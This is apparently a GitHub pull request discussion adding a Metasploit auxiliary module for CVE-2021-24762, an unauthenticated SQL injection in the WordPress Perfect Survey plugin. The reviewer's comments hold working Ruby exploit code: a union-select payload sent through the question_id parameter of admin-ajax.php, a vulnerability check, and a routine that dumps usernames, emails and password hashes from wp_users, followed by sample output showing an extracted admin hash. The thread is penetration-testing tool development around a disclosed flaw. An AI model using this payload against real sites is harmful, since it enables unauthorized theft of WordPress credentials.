-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
New Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated) #19701
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @aaryan-11-x! Thanks for your module!
I've left a couple of comments on your PR, let me know if you need anything.
Hi @dledda-r7 I made all the changes as you requested. I've still kept the SHOW_FULL_RESPONSE option just as a fallback mechanism. Please review the changes again. Thank you! |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello! Thanks a lot for addressing my review, this looks good!, I was thinking this module would be great with our SQLi
mixin implemented, I took some time to leave here some documentation in how to do the porting to the mixin:
You can add the mixin like this:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
Define your SQL Injection using the SQLInjection mixin:
def get_sqli_object
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
params = {
'action' => 'get_question',
'question_id' => sqli_payload
}
res = send_request_cgi({
'uri' => endpoint,
'method' => 'GET',
'vars_get' => params
})
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200
html_content = res.get_json_document['html']
fail_with(Failure::Unknown, 'HTML content is empty') unless html_content
match_data = /survey_question_p">([^<]+)/.match(html_content)
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data
extracted_data = match_data.captures[0]
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data
extracted_data
end
end
Also having the check method is really useful:
def check
@sqli = get_sqli_object
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
Exploit::CheckCode::Safe
end
Finally the run
will look like this:
def run
print_status('Exploiting SQLi in Perfect Survey plugin...')
@sqli ||= get_sqli_object
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
creds_table = Rex::Text::Table.new(
'Header' => 'Wordpress User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Email', 'Hash']
)
print_status('Extracting credential information')
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
users.each do |(username, email, hash)|
creds_table << [username, email, hash]
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'WordPress Perfect Survey Plugin',
address: datastore['RHOSTS'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED,
email: email
})
end
print_line creds_table.to_s
end
The output of the module will look like this:
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin [email protected] $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
This will also add the credentials to the database! if you have any question feel free to ask!
Also we can add |
I've made all the changes again as you requested. Please take a look at the code. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @aaryan-11-x!
I retested and looks all good from my end, there are just few minor things I'll take care before landing it. Thanks again for your time!
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information
WordPress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin [email protected] $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exit
Thank you so much! This was the first Metasploit module I ever created & getting it accepted is a big thing for me. |
Release NotesThis adds an auxiliary module that exploits CVE-2021-24762, an unauthenticated SQL Injection that allows dumping user credentials from the database. |
Hello Metasploit Team,
I am submitting a new auxiliary module for the WordPress Perfect Survey plugin, targeting an unauthenticated SQL injection vulnerability (CVE-2021-24762). This vulnerability affects version upto 1.5.1 of the plugin and allows an attacker to retrieve sensitive information such as usernames and password hashes from the
wp_users
table without authentication.Summary of the Vulnerability:
Module Highlights:
question_id
parameter to retrieve sensitive data.wp_users
table.SHOW_FULL_RESPONSE
) to print the full JSON response from the server when data extraction is unsuccessful.Verification Steps:
msfconsole
.use auxiliary/scanner/http/wp_perfect_survey_sqli
.set RHOSTS [ip]
.run
.Output
References: